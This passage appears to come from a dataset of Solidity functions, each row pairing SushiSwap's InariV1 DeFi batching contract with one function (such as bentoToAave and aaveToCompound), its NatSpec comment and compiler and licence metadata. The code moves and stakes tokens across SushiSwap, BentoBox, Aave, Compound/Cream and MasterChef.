(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | bentoToAave | function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
| /// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
8396,
8730
]
} | 11,780 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | aaveToCompound | function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
| /// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
8980,
9657
]
} | 11,781 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
